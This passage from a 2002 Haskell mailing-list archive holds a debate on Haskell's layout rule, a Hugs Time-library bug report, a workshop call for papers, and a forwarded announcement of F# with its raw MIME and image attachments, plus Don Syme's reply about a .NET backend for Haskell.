interface by combining behaviours, which are either continuous behaviours or discrete events. HTk is a wee bit less abstract and only has Events, which you can synchronise on, but on the other hand you are less constrained, since you can put any IO action into your events, and you have full control of the concurrency of your interface; you can have as many or little threads as you want. --C. From martin.odersky@epfl.ch Thu May 30 11:34:27 2002 From: martin.odersky@epfl.ch (Martin Odersky) Date: Thu, 30 May 2002 12:34:27 +0200 (DST) Subject: layout rule infelicity In-Reply-To: <3CF5F6C3.EEF1C2E5@augustsson.net> References: <200205300946.CAA27078@mail4.halcyon.com> <3CF5F6C3.EEF1C2E5@augustsson.net> Message-ID: <15605.65058.255286.541482@lamppc11.epfl.ch> > If you look at C (& offspring), it's not the {;} that makes the code > readable, it's the indentation that does. So why not acknowledge that? Redundancy maybe? What's wrong in having both layout and punctuation? For instance, then you can have an emacs mode that handles the layout given the punctuation. I used to believe in layout, but got converted the other way round. We used Scala, a new functional/object oriented language we design, in a course with 100+ students. Scala used to have layout rules somewhat like Haskell's. In our experience it was the single thing that confused students most. Problems were: (1) Students did not properly indent their code. (2) Students used editors that disagreed in the handling of tabs. (3) Students wrote multi-line statements that started at the same column. I came away with with the learning experience that a little redundancy in the syntax is a good thing. Cheers -- Martin From dominic.steinitz@blueyonder.co.uk Thu May 30 11:35:40 2002 From: dominic.steinitz@blueyonder.co.uk (Dominic Steinitz) Date: Thu, 30 May 2002 11:35:40 +0100 Subject: A Bug in Time? Message-ID: <003a01c207c5$bf156f80$1464a8c0@canterburysoftware.com> Hugs has a bug in Time. I would expect toUTCTime and toCalendarTime to be inverses of toClockTime (modulo the IO monad). toCalendarTime :: ClockTime -> IO CalendarTime toUTCTime :: ClockTime -> CalendarTime toClockTime :: CalendarTime -> ClockTime module Main(main) where import Time main = putStrLn "Hello" test :: Integer -> IO () test x = (toCalendarTime . toClockTime . f $ x) >>= putStrLn . show f x = CalendarTime{ctYear=2002, ctMonth=May, ctDay=30, ctHour=10, ctMin=27, ctSec=11, ctPicosec=x, ctWDay=Thursday, ctYDay=149, ctTZName="BST", ctTZ=3600, ctIsDST=True} GHC gives: Main> test 1 CalendarTime{ctYear=2002,ctMonth=May,ctDay=30,ctHour=10,ctMin=27,ctSec=11,ct Picose c=1,ctWDay=Thursday,ctYDay=149,ctTZName="BST",ctTZ=3600,ctIsDST=True} Main> test 2 CalendarTime{ctYear=2002,ctMonth=May,ctDay=30,ctHour=10,ctMin=27,ctSec=11,ct Picose c=2,ctWDay=Thursday,ctYDay=149,ctTZName="BST",ctTZ=3600,ctIsDST=True} Hugs gives Main> test 1 CalendarTime{ctYear=2002,ctMonth=May,ctDay=30,ctHour=10,ctMin=27,ctSec=11,ct Picose c=0,ctWDay=Thursday,ctYDay=149,ctTZName="BST",ctTZ=3600,ctIsDST=True} Main> test 2 CalendarTime{ctYear=2002,ctMonth=May,ctDay=30,ctHour=10,ctMin=27,ctSec=11,ct Picose c=0,ctWDay=Thursday,ctYDay=149,ctTZName="BST",ctTZ=3600,ctIsDST=True} Dominic Steinitz From ger@tzi.de Thu May 30 11:42:11 2002 From: ger@tzi.de (George Russell) Date: Thu, 30 May 2002 12:42:11 +0200 Subject: layout rule infelicity Message-ID: <3CF60203.93777A54@tzi.de> I like layout but I think the existing rules are too complicated. Unfortunately it's difficult to do anything with them without breaking vast swathes of existing code, so we'll just have to put up with them. The reason I think layout is better than using {'s and ,'s is that humans use the layout to group the structure anyway, which means you can have confusing situations where a structure looks alright to a human but not to a computer. From ketil@ii.uib.no Thu May 30 11:59:36 2002 From: ketil@ii.uib.no (Ketil Z. Malde) Date: 30 May 2002 12:59:36 +0200 Subject: layout rule infelicity In-Reply-To: <15605.65058.255286.541482@lamppc11.epfl.ch> References: <200205300946.CAA27078@mail4.halcyon.com> <3CF5F6C3.EEF1C2E5@augustsson.net> <15605.65058.255286.541482@lamppc11.epfl.ch> Message-ID: Martin Odersky writes: > Redundancy maybe? What's wrong in having both layout and punctuation? Short answer: What's wrong with it is that humans use layout to infer the semantic meaning, compilers use punctuation. Thus it's not really redundancy. -kzm -- If I haven't seen further, it is by standing in the footprints of giants From joe@isun.informatik.uni-leipzig.de Thu May 30 12:10:03 2002 From: joe@isun.informatik.uni-leipzig.de (Johannes Waldmann) Date: Thu, 30 May 2002 13:10:03 +0200 (MET DST) Subject: layout rule infelicity In-Reply-To: <200205300946.CAA27078@mail4.halcyon.com> from Ashley Yakeley at "May 30, 2002 02:46:39 am" Message-ID: <200205301110.NAA11144@isun11.informatik.uni-leipzig.de> > What's the deal with the whole "layout" thing anyway? I've never come > across it before in another language. Python has it as well (they stole it from Haskell?) > If I were teaching Haskell to "working programmer" types like myself, I > would encourage them to always use full semicolons and braces ... while we're at it - what's the deal with type inference? sometimes I think it is *really bad* language design if the program may contain untyped declarations of identifiers. ghc -Wall warns nicely about undeclared top-level types but what about locals? I've never came across a language that would allow them declared untyped. of course I know (some of) the `academic' background (type inference, type checking) but what about it from a software engineering point of view? \end{rant} .. I think neither the layout rule nor type inferencing are likely to disappear from Haskell .. -- -- Johannes Waldmann ---- http://www.informatik.uni-leipzig.de/~joe/ -- -- joe@informatik.uni-leipzig.de -- phone/fax (+49) 341 9732 204/252 -- From joe@isun.informatik.uni-leipzig.de Thu May 30 12:19:56 2002 From: joe@isun.informatik.uni-leipzig.de (Johannes Waldmann) Date: Thu, 30 May 2002 13:19:56 +0200 (MET DST) Subject: layout rule infelicity In-Reply-To: <15605.65058.255286.541482@lamppc11.epfl.ch> from Martin Odersky at "May 30, 2002 12:34:27 pm" Message-ID: <200205301119.NAA11168@isun11.informatik.uni-leipzig.de> > ... layout rules somewhat > like Haskell's. In our experience it was the single thing that > confused students most. same here, for exactly these reasons. students get really confused. on the other hand, students regularily get confused by other things as well, like homework assignments on formal languages, so that alone is not enough reason to drop the subject altogether :-) -- -- Johannes Waldmann ---- http://www.informatik.uni-leipzig.de/~joe/ -- -- joe@informatik.uni-leipzig.de -- phone/fax (+49) 341 9732 204/252 -- From ashley@semantic.org Thu May 30 12:24:50 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 04:24:50 -0700 Subject: layout rule infelicity Message-ID: <200205301124.EAA29692@mail4.halcyon.com> At 2002-05-30 04:10, Johannes Waldmann wrote: >ghc -Wall warns nicely about undeclared top-level types but what about >locals? You'd have to declare them in terms of the top-level types, i.e. other type annotations. I think GHC allows some form of this, but IIRC it's a bit tricky. If it weren't for this difficulty I'd probably type-annotate locals. -- Ashley Yakeley, Seattle WA From ashley@semantic.org Thu May 30 12:34:15 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 04:34:15 -0700 Subject: layout rule infelicity Message-ID: <200205301134.EAA29981@mail4.halcyon.com> At 2002-05-30 04:19, Johannes Waldmann wrote: >same here, for exactly these reasons. students get really confused. > >on the other hand, students regularily get confused by other things as well, >like homework assignments on formal languages, >so that alone is not enough reason to drop the subject altogether :-) In the latter case, they are learning something useful. In the former case, the confusion emerges out of a useless property of the language. Let the students use {;} if it eliminates confusion, it's still perfectly good Haskell. I am certainly not proposing Haskell be modified to eliminate the layout option. I'm just curious as to why Haskell programmers choose to use it. -- Ashley Yakeley, Seattle WA From ashley@semantic.org Thu May 30 12:37:07 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 04:37:07 -0700 Subject: layout rule infelicity Message-ID: <200205301137.EAA00052@mail4.halcyon.com> At 2002-05-30 03:59, Ketil Z. Malde wrote: >Short answer: What's wrong with it is that humans use layout to infer >the semantic meaning, No... layout by itself can't be trusted. It's only a clue. One needs to learn the precise Haskell-specific layout rules, and they're not obvious. -- Ashley Yakeley, Seattle WA From lennart@augustsson.net Thu May 30 12:52:58 2002 From: lennart@augustsson.net (Lennart Augustsson) Date: Thu, 30 May 2002 07:52:58 -0400 Subject: layout rule infelicity References: <200205301134.EAA29981@mail4.halcyon.com> Message-ID: <3CF6129A.270751CF@augustsson.net> Ashley Yakeley wrote: > I am certainly not proposing Haskell be modified to eliminate the layout > option. I'm just curious as to why Haskell programmers choose to use it. Because I find programs using layout to be more readable. In Haskell (not in C) programs using {;} I've found that the indentation is often sloppy, and since layout is not enforced by the compiler I find it harder to read. I think it is largely a matter of taste. Martin's point is well taken, though. I think the redundancy can be useful for beginners. I suspect it's more the ; than the {} that makes it somewhat easier for beginners. -- Lennart From hth@cse.unsw.EDU.AU Thu May 30 13:27:12 2002 From: hth@cse.unsw.EDU.AU (Han Tuong Hau) Date: Thu, 30 May 2002 22:27:12 +1000 (EST) Subject: layout rule infelicity In-Reply-To: <3CF6129A.270751CF@augustsson.net> Message-ID: Hi everyone, I thought I would bring a students perspective into this discussion. Moving from a C background to Haskell, the layout wasn't very intuitive at first. This was mainly due to my hand's on approach (looking at examples and trying to code similar programs). Given that if i read up on the layout first I would have had less trouble. I did notice that the error messages generated by incorrect layout don't offer much clue to the origin of the layout error, well from a beginner's interpretation of the error messages anyway. Having said that, now that I have gotten used to the Haskell layout I simply adore it. I often remember tiredly coding in C and relying on the compiler to locate where i had left out a ';' at the end of a statement or two. With Haskell there is no such need! Tuong, a happy haskell student.. From S.J.Thompson@ukc.ac.uk Thu May 30 14:00:53 2002 From: S.J.Thompson@ukc.ac.uk (S.J.Thompson) Date: Thu, 30 May 2002 14:00:53 +0100 Subject: (no subject) Message-ID: Functional and Declarative Programming in Education (FDPE02) A one day workshop at PLI'02 Monday 7 October 2002, Pittsburgh, PA, USA SECOND (AND FINAL) CALL FOR SUBMISSIONS ***** ***** Deadline June 25 2002 ***** ***** Functional and declarative programming plays an increasingly important role in computing education at all levels. The aim of this workshop is to bring together educators and others who are interested in exchanging ideas on how to use a functional or declarative programming style in the classroom. Submissions are sought in a variety of forms, including: - Standard presentations (30 minutes) - Short talks or "tricks of the trade" presentations (10 minutes) The organisers would also welcome other sorts of submissions, such as software demos, panels, very short talks and so on. Participants who choose to deliver a standard presentation are asked to submit a draft PostScript paper of five pages; presenters of short talks are asked to submit an abstract of 250 words. These should be submitted by June 25, 2002. Michael Hanus, University of Kiel, Germany Shriram Krishnamurthi, Brown University, RI, USA Simon Thompson, University of Kent, UK More details at the FPDE02 website: FDPE02: http://www.cs.ukc.ac.uk/people/staff/sjt/fdpe02/description.html PLI'02: http://pli2002.cs.brown.edu/ Subject: Functional and Declarative Programming in Education (FDPE02) From paul.hudak@yale.edu Thu May 30 14:11:59 2002 From: paul.hudak@yale.edu (Paul Hudak) Date: Thu, 30 May 2002 09:11:59 -0400 Subject: [Fwd: F#] Message-ID: <3CF6251F.53148C7E@yale.edu> This is a multi-part message in MIME format. --------------D52C629A5FF3EA7211C501A7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hey Simon et al at Micro$oft, when will there be an H#? (Ok, I'll settle for Haskell.NET :-) -Paul --------------D52C629A5FF3EA7211C501A7 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Return-Path: Received: from mr2.its.yale.edu (mr2.its.yale.edu [130.132.50.8]) by netra.cs.yale.edu (Pro-8.9.3/Pro-8.9.3) with ESMTP id MAA21348 for ; Wed, 29 May 2002 12:29:07 -0400 Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by mr2.its.yale.edu (8.11.6/8.11.6) with ESMTP id g4TGT6c08547 for ; Wed, 29 May 2002 12:29:06 -0400 (EDT) Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Wed, 29 May 2002 09:29:00 -0700 Received: from 157.54.8.155 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 29 May 2002 09:29:00 -0700 Received: from red-msg-05.redmond.corp.microsoft.com ([157.54.12.72]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Wed, 29 May 2002 09:28:59 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.6177.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----_=_NextPart_001_01C2072D.EF788099" Subject: F# Date: Wed, 29 May 2002 09:28:59 -0700 Message-ID: <8DC4B82A94A29D4AB708F05E0EB557AB037900C2@red-msg-05.redmond.corp.microsoft.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: F# Thread-Index: AcIHLe8woxMJQTwbSBGsj4JuKslMfA== From: "Scott Williams" To: X-OriginalArrivalTime: 29 May 2002 16:28:59.0839 (UTC) FILETIME=[EFD45CF0:01C2072D] This is a multi-part message in MIME format. ------_=_NextPart_001_01C2072D.EF788099 Content-Type: multipart/alternative; boundary="----_=_NextPart_002_01C2072D.EF788099" ------_=_NextPart_002_01C2072D.EF788099 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Paul, I just saw this, and I think you and I were talking about using ML. Let me know if we need to follow-up on this further. =20 Scott =20 _____ =20 F# =20 =20 Sections=20 Up =20 F# FAQ =20 About F# =20 Download F# =20 F# Manual F# Compared F# Tool Support =20 F# Performance =20 Announcements=20 A presentation on F# is now available (April 2002) Coming soon: The First F# Language Release (April 2002) A new version of the ILX reference manual is available. This is considerably updated from previous versions (January 2002) Version 0.5 of the AbsIL/ILX SDK is now available .(April 2002) =20 =20 F# is a mixed functional/imperative programming language based on the design of the functional language Caml and the .NET language C#. Combining the speed, safety and productivity of ML and Caml with the libraries, tools and cross-language working of .NET Mixed functional/imperative programming is a fantastic paradigm for many programming tasks. Languages such as OCaml and Standard ML provide excellent general purpose programming languages suited to medium-advanced programmers who want simple yet highly expressive tools that boost their productivity, primarily by reducing the error rate, increasing their productivity through type inference, and basically letting them focus on the difficult parts of their applications. You can access hundreds of .NET libraries using F#. =20 F# is an implementation of the core of the Caml programming language for the .NET Framework, along with cross-language extensions. The aim is to have it work together seamlessly with C#, Visual Basic, SML.NET and other .NET programming languages. In particular it is the first ML language where all the types and values in an ML program can be accessed from some significant languages (e.g. C#) in a predictable and friendly way. The aim of F# is to have a mixed functional- imperative language that works together seamlessly with C# and other .NET languages. Purely functional languages like Haskell are excellent within certain niches, but many simple programming exercises can quickly turn into problems that require a PhD. to solve. Purely imperative programming languages like C or Pascal do not provide satisfying mechanisms for abstraction or data manipulation. Purely object oriented languages like Smalltalk are excellent for some dynamic applications but do not provide static guarantees. Typed class-based languages like C# and Java contain a very large number of constructs, and it can sometimes be difficult for programmers to choose how to model their problem, and sometimes result in very large amounts of code just to solve quite simple problems. In contrast, languages such as Caml provide a smaller number of simple, orthogonal constructs which work together to allow for succinct yet efficient solutions to programming problems. F# provides an implementation of a subset of the OCaml libraries as well as the ability to access .NET libraries. Using the .NET libraries is optional. F# provides a subset of the OCaml libraries, so you don't have to use .NET libraries if it is not appropriate. It is possible to write large applications that can be cross-compiled as either OCaml bytecode, OCaml native code or F# code, for example, the F# compiler itself is written this way. This lets you reuse the investment you make in the core of a project while letting you write some parts of your application as F# code that makes use of .NET extensions.=20 The following links will let you learn more about F#: Basic programming in F# =20 Using C# and other .NET libraries from F# =20 Using F# libraries from C# =20 Using the F# library To access .NET constructs, see the extra language features supported in this release . Learn how to write high-performance F# code F# also provides a simple, familiar set of tools: A simple command line compiler, supporting separate compilation, debug information and optimization. F# supports features that are often missing from ML implementations such as Unicode strings and dynamic linking. It also supports reflection to a limited degree, though only via .NET libraries. Tool support is strong when combined with tools from the (freely available) .NET Framework and/or Microsoft's Visual Studio. For example the DbgClr.EXE tool in the .NET Framework SDK gives you a graphical debugger for F#. F# is, as far as I know, the first ML compiler to have good binary-compatibility and versioning properties, e.g. You can build DLLs (many ML compilers do not allow this) There is full fidelity between F# code in a DLL and F# code that calls the DLL (i.e. you can use F# constructs across the DLL boundary without any problems); You can add a value to a module and the binaries produced are compatible. =20 You can modify the internals of a module and the binaries will remain comaptible. The binary compatibility properties deteriorate if cross-module optimization is used). =20 F# also happens to be the first released .NET language that is able to produce Generic IL , and the compiler was really designed with this target language in mind. However the compiler can also produce standard .NET binaries, which is just as well because there is no publicly available release of a .NET Common Language Runtime for .NET that supports generics.=20 Design-wise, F# is essentially a .NET implementation of the core of the OCaml programming language, with some minor design changes. The design extends the core OCaml language by making some guarantees about how ML constructs appear to .NET languages and by allowing the programmer to access .NET libraries, primarily via an extended "." notation (e.g. "val.ToString()" to call a .NET method). For a full feature comparison see the following pages: Compare F#, SML and OCaml as languages .. Compare these as programming environments , i.e. including debugging, compiling etc. Compare F# and C# =20 ------_=_NextPart_002_01C2072D.EF788099 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Paul, I just = saw this,=20 and I think you and I were talking about using ML.  Let me know if = we need=20 to follow-up on this further.
 
 

F#

3DF#=20 3D"Abstract 3DILX=20

Sections

Up
F# FAQ
About F#
Download F#
F# Manual
F# Compared
F# Tool Support
F# Performance=20

Announcements

A presentation on F# is now available = (April=20 2002)

Coming soon: = The First F# Language Release (April=20 2002)

A new version = of the ILX reference manual is available.  = This is=20 considerably updated from previous versions (January=20 2002)

Version 0.5 of the AbsIL/ILX SDK is now = available.(April=20 2002)

 

 

F# is a mixed functional/imperative programming language = based on=20 the design of the functional language Caml and the .NET language=20 C#.


Combining
the speed, safety = and=20 productivity of ML and Caml with the libraries, tools and = cross-language=20 working of .NET

Mixed functional/imperative programming is a fantastic = paradigm for=20 many programming tasks.  Languages such as OCaml and Standard = ML=20 provide excellent general purpose programming languages suited to=20 medium-advanced programmers who want simple yet highly expressive = tools=20 that boost their productivity, primarily by reducing the error = rate,=20 increasing their productivity through type inference, and = basically=20 letting them focus on the difficult parts of their=20 applications.

You can access hundreds of .NET libraries using F#.  =

F#=20 is an implementation of the core of the Caml programming language = for the=20 .NET Framework, along with cross-language extensions.  The = aim is to=20 have it work together seamlessly with C#, Visual Basic, SML.NET = and other=20 .NET programming languages.  In particular it is the first ML = language where all the types and values in an ML program can be = accessed=20 from some significant languages (e.g. C#) in a predictable and = friendly=20 way.

The aim of F# is to have a mixed functional-  = imperative=20 language that works together seamlessly with C# and other .NET=20 languages.

Purely functional languages like Haskell are excellent = within=20 certain niches, but many simple programming exercises can quickly = turn=20 into problems that require a PhD. to solve.  Purely = imperative=20 programming languages like C or Pascal do not provide satisfying=20 mechanisms for abstraction or data manipulation.  Purely = object=20 oriented languages like Smalltalk are excellent for some dynamic=20 applications but do not provide static guarantees.  Typed = class-based=20 languages like C# and Java contain a very large number of = constructs, and=20 it can sometimes be difficult for programmers to choose how to = model their=20 problem, and sometimes result in very large amounts of code just = to solve=20 quite simple problems.  In contrast, languages such as Caml = provide a=20 smaller number of simple, orthogonal constructs which work = together to=20 allow for succinct yet efficient solutions to programming=20 problems.

F# provides an implementation of a subset of the OCaml = libraries as=20 well as the ability to access .NET libraries.  Using the .NET = libraries is optional.

F#=20 provides a subset of the OCaml libraries, so you don't have to use = .NET=20 libraries if it is not appropriate.  It is possible to write = large=20 applications that can be cross-compiled as either OCaml bytecode, = OCaml=20 native code or F# code, for example, the F# compiler itself is = written=20 this way.  This lets you reuse the investment you make in the = core of=20 a project while letting you write some parts of your application = as F#=20 code that makes use of .NET extensions.

The=20 following links will let you learn more about=20 F#:

<= !--msthemelist-->
3Dbullet

Basic programming in=20 = F#

3Dbullet

Using = C# and other=20 .NET libraries from = F#

3Dbullet

Using = F# libraries=20 from = C#

3Dbullet

Using the F# = library

3Dbullet

To access .NET constructs, see the extra language features = supported in=20 this=20 = release.

3Dbullet

Learn how to write=20 high-performance F# = code

 F# also provides a simple, familiar set of = tools:

=
3Dbullet

A simple command line compiler, supporting separate = compilation, debug information and = optimization.

3Dbullet

F# supports features that are often missing from ML = implementations such as Unicode strings and dynamic = linking. =20 It also supports reflection to a limited degree, though only = via=20 .NET=20 = libraries.

3Dbullet

Tool support is strong when combined with tools = from the=20 (freely available) .NET Framework and/or Microsoft's Visual=20 Studio.  For example the DbgClr.EXE tool in the .NET = Framework=20 SDK gives you a graphical debugger for=20 = F#.

F#=20 is, as far as I know, the first ML compiler to have good=20 binary-compatibility and versioning properties, = e.g.

3Dbullet

You can build DLLs (many ML compilers do not allow=20 = this)

3Dbullet

There is full fidelity between F# code in a DLL and = F# code=20 that calls the DLL (i.e. you can use F# constructs across = the DLL=20 boundary without any = problems);

3Dbullet

You can add a value to a module and the binaries = produced are=20 compatible. =20 =

3Dbullet

You can modify the internals of a module and the = binaries=20 will remain comaptible.  The binary compatibility = properties=20 deteriorate if cross-module optimization is used).  =

F#=20 also happens to be the first released .NET language that is able = to=20 produce Generic=20 IL, and the compiler was really designed with this target = language in=20 mind. However the compiler can also produce standard .NET = binaries, which=20 is just as well because there is no publicly available release of = a .NET=20 Common Language Runtime for .NET that supports generics. =

Design-wise, F# is essentially a .NET implementation of = the core of=20 the OCaml programming language, with some minor design = changes.  The=20 design extends the core OCaml language by making some guarantees = about how=20 ML constructs appear to .NET languages and by allowing the = programmer to=20 access .NET libraries, primarily via an extended "." notation = (e.g.=20 "val.ToString()" to call a .NET method).  For a full feature=20 comparison see the following = pages:

3Dbullet

Compare = F#, SML and=20 OCaml as languages..

3Dbullet

Compare these as = programming=20 environments, i.e. including debugging, compiling=20 etc.

3Dbullet

Compare F# and=20 = C#

=00 ------_=_NextPart_002_01C2072D.EF788099-- ------_=_NextPart_001_01C2072D.EF788099 Content-Type: image/gif; name="fsharp.htm_cmp_arcs110_hbtn_p.gif" Content-Transfer-Encoding: base64 Content-Description: fsharp.htm_cmp_arcs110_hbtn_p.gif Content-Location: http://research.microsoft.com/projects/ilx/_derived/fsharp.htm_cmp_arcs110_hbtn_p.gif R0lGODlhjAA8AOMAAMzM/5mZ/5nM/2aZ/2aZzDOZzGbM/zOZ/zPM/5nMzMz//8zMzMDAwDMzMwAA AAAAACH5BAEAAAwALAAAAACMADwAQAT+kMlJq7046827/2AojmRpUoBwHIYAnPClCIIxrHg+DIIS /yZV7jB4hWa3Ic5gBDqfHEVSKbAICMrVwAftNBqXr/jb3cyyuOYlMc1Vy/BTyoAm9uCC9lYyq+10 Oy00Li4AhgoAiIqEgzQ2Nm11gYOJXHGXmJmam5ydnp8VCog0AzZ1gAYGAYI0KYmvioayjI6pQ5Mu fHpvUIimWaW5oKBCShvFSjybZGFjzMNSaHsVWFm8w9gVeXUtIwnW2TGjkbetluETc3bn6O3u7/Dx 7z6w8p6xo42PgaX9j42UXIjiUAMHDXsM8v05xWogO1CI1ACIVOTSOEktEiE8oYAOlRL+viQJ2xgH gMdbHrahGVnG2TMJYBjEDIdsyLUKE+vczORypkyY2U4qMaChWrKHnF5SiOkzk0luajKwAUbSokly BqOG+PaxKomL0jJiSmB0BVEKAsP5iEgKK45gae3NOMnETMQ+AFvorVHjEStKoioh9eokMCLCiBMr Xsy4sePHkCNn69NisGQglk3kZMFSMttBkNyeGn1rByWN2nTsjJcv9ClcrSp1WZvI0R8DXDrazJxp FCSMAlETVpCFN5A5onncuSwBQJazhUmFjcscA1boIFU+71xdQ7QsI5BwW949RM0lH8Sv1FoexHkt 7HEKHVIXk9IKTNFpp89hfg7sPDWdNUFP2LynRWZkSWNcF/fJ5BIom4GjAQBl6bBgSwIC9ZMn+9nU wVQStifCXCJ9cAUaF4rIR4f/rUZQASGqKEMKybkIAoUxqkiZSML9sECFRJRnG3ApnsCVDooFJt1r 5mSTwHy8OLcDXK8k1AtbKbQ1AALS9GNOkZ+oZ4cFSvb1C2loAgMXYGBWRaNZ8f3Qpoyh5EEdnXjm qeeefIIQAQA7 ------_=_NextPart_001_01C2072D.EF788099 Content-Type: image/gif; name="absil.htm_cmp_arcs110_hbtn.gif" Content-Transfer-Encoding: base64 Content-Description: absil.htm_cmp_arcs110_hbtn.gif Content-Location: http://research.microsoft.com/projects/ilx/_derived/absil.htm_cmp_arcs110_hbtn.gif R0lGODlhjAA8AMIAAP//zP//mf/MZv/MzP/MmcDAwDMzMwAAACH5BAEAAAUALAAAAACMADwAQAP+ WLrc/jDKSau9OOvNu2cAQAgEAXzoAwxBKbwwXJphanNjTJ6ZqOsD3m1IrPxgAQfg+CJcDNAoVDGl GhpRK6Oq7XIXX+y1W8kdTRJzDF1s20LqHyHo9q0XIVErPisFgkF5gnmBJgR7MyRMMjOBQm6QkZKT lJWWl5gpgn1xciQzLSKDo4KAfy58foEKdk2PRK1nNZm0C50vEgABi2wRUltXWWC/UmNTVcXAWckO XGEXA7xKi6+11g0tvNVlctdvcLcyf9veK7sl5N7q6+zt7u+5gvDXhKKHnJx7f+PyFXbo81itcLHo U6gT6TDlAcEnoaYB4ZoEmBUQxS2HuSAWTFL+kdKSM/4IHuH4IMwzX2NSnCzwi2XKDbuYpPsoqwKy lM6MmXy5s+WzlS6HaYjoBALNbhi+3GzpUpgVnWKYMmvaTFixZ7F09JIQ8wfGjpoi7uhwNAbYD+B4 Hfr6odOjFRTLgRN55h7bWiLMFJ2AkNApfIBDOYp7dtKgwogTK17MuLHjx5Ajn4V4iI5kxv+2Si5l T2zBz1rROXrQlQTJjnD7FARFY2GbvixG5NibVXOmuatb32VX9sVuD7roag11uQFIWJR5TSxO4dZe smJtM29es4fwNb+nM4h2PKRaC0Cnh3seQSMT8lXFPHn5AWhOstJyRTyNUulNMkKHOc3/3j2XTvYW 9CbDBESxdR8ZOb2XH4JQqQeBggFG5JCATSTFU4NBOWgfMPz9l2FJHlJAoSvUVacddNpAc96JG2Sl FWHcHJFdcS5ihwKFM2KWl1o5SsCdVtoNdJ04ML7WCXpgbTIkI0Vikk0MQiwxW2VNalIPJ7lR2aMl sdg2iB+zgSZmXboMtiU8aZHA4ll5lGDZmnDGKeecdE6SAAA7 ------_=_NextPart_001_01C2072D.EF788099 Content-Type: image/gif; name="ilx.htm_cmp_arcs110_hbtn.gif" Content-Transfer-Encoding: base64 Content-Description: ilx.htm_cmp_arcs110_hbtn.gif Content-Location: http://research.microsoft.com/projects/ilx/_derived/ilx.htm_cmp_arcs110_hbtn.gif R0lGODlhjAA8AMIAAP//zP//mf/MZv/MzP/MmcDAwDMzMwAAACH5BAEAAAUALAAAAACMADwAQAP+ WLrc/jDKSau9OOvNu2cAQAgEAXzoAwxBKbwwXJphanNjTJ6ZqOsD3m1IrPxgAQfg+CIULQbDIvqg FqzPR+5okmxj3azYE/r+CMGsD7wIiVrmWSkQDLrvbruJAJ+RmDIzdkJjhYaHiImKi4yNDXdyZmck My0ieJh3dXQucXN2CmtNhESiXDWOjpIvEgABgGGGWFgMVrSLA7BKgKSpvgstsL0Vkk6/KG4usHTD vyuvJc3H09TV1tfYbXfZqXmXfJGRcHTM2xVr0dwFIQPKsOA10otuIHHyKSurMgGo6h+r91q1AyQg iT9DS7icc/fDYJYotqQ0oHVr0Ssm0hKeWjT+S2IVj4z0kYig8UwqiBJRQrwCsmIpkbEkXPwR8CAy kTs6lIxhk4wImHxq/qMJAtS0ZH7eWfL3U8a5dXk4hZtqaVC/ngjNYd3KtavXr2DDih1L9lc7PmnK dkUXk6ymbzgJytUxYwU9BzNJOGQaRA7BSjTuFjnBLlgOY+vsOfuJM5pgrDtfCEUGZ1nbsgpLnV02 eewqxDobd1a74PPoxDBPk2aQK/PCd6tT6AMdYSAT2g89uozoK7LTViL3ytINstZKR76bTEjNqCME lIxM6biXfKQj5w54H6qec/lt1bHrCbvQ2mR4DdLpXrWgD7xb0cgwnlfS9PZlFOXZrM7HkC5AP/cY pIfbQZD0RxcNxwQTgxBLHIbWekO8Fclfn0CIjSmX4THHYXN1yIUJ5TzmVn0DzmcNUmmZqOKKLLbo YhEJAAA7 ------_=_NextPart_001_01C2072D.EF788099 Content-Type: image/gif; name="arcbul1d.gif" Content-Transfer-Encoding: base64 Content-Description: arcbul1d.gif Content-Location: http://research.microsoft.com/projects/ilx/_themes/arcs2/arcbul1d.gif R0lGODlhDwAPAKL/AMzM/5nM/2aZ/2bM/zOZ/8z//8DAwAAAACH5BAEAAAYALAAAAAAPAA8AQAM0 aLrcHiTKARwrloEwRABYJl7AQAhe9ZgS8Y1wLDvFFgShAwitmyuFAK8l+AEhEo+oVmgqEgA7bkpt JAAAOw== ------_=_NextPart_001_01C2072D.EF788099-- --------------D52C629A5FF3EA7211C501A7-- From dsyme@microsoft.com Thu May 30 15:04:12 2002 From: dsyme@microsoft.com (Don Syme) Date: Thu, 30 May 2002 07:04:12 -0700 Subject: [Fwd: F#] Message-ID: Hi Paul, The attached message doesn't give the link you might be after, which is http://research.microsoft.com/projects/fsharp. You might also be interested in SML.NET. Re Haskell.NET... We (OK, basically just me) got a fair amount of the way through a .NET backend for GHC, including a fully working compiler, but we got sidetracked into implementation issues that weren't related what we wanted to achieve in the first instance. In particular, (a) GHC is a complex beast, (b) you have to decide what to do about the libraries and (c) I wanted a much "lighter" end system than GHC was going to provide. Given the general complexity of GHC, the longish compile times and the reliance of the GHC library implementation on C and C libraries in so many places I decided to implement a simpler language from scratch. I like the idea that a .NET compiler should be under 10K lines of code if at all possible, as is the case for F#. Those of us at MSR have no particular plans to push further on Haskell.NET right now, but I know a number of other people have talked about taking a crack at it. Best wishes, Don Syme MSR Cambridge -----Original Message----- From: Paul Hudak [mailto:paul.hudak@yale.edu]=20 Sent: 30 May 2002 14:12 To: haskell@cs.yale.edu Subject: [Fwd: F#] Hey Simon et al at Micro$oft, when will there be an H#? (Ok, I'll settle for Haskell.NET :-) -Paul From tweed@cs.bris.ac.uk Thu May 30 15:24:50 2002 From: tweed@cs.bris.ac.uk (D. Tweed) Date: Thu, 30 May 2002 15:24:50 +0100 (BST) Subject: [Fwd: F#] In-Reply-To: Message-ID: On Thu, 30 May 2002, Don Syme wrote: > going to provide. Given the general complexity of GHC, the longish > compile times and the reliance of the GHC library implementation on C > and C libraries in so many places I decided to implement a simpler > language from scratch. I like the idea 